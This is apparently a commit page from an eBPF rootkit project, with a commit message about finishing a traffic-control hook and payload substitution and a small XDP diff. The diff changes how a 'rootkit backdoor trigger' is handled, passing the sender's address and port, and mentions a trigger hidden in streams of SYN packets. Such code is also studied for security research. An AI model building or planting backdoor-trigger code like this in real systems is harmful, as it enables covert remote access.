Completed the TC Hook and payload enlargment and substitution mechanisms. Only the packet recognition on the client side remains to work

This commit is contained in:
h3xduck
2022-05-11 17:31:38 -04:00
parent 567d8d706c
commit 28ed530aea
12 changed files with 2856 additions and 2801 deletions

View File

@@ -104,7 +104,7 @@ int xdp_receive(struct xdp_md *ctx){
bpf_printk("G");
return XDP_PASS;
}
return manage_backdoor_trigger_v1(payload, payload_size);
return manage_backdoor_trigger_v1(payload, payload_size, ip->saddr, tcp->source);
}
//Check for rootkit backdoor trigger V3 - stream of SYN packets with hidden payload
if(tcp->syn == 1){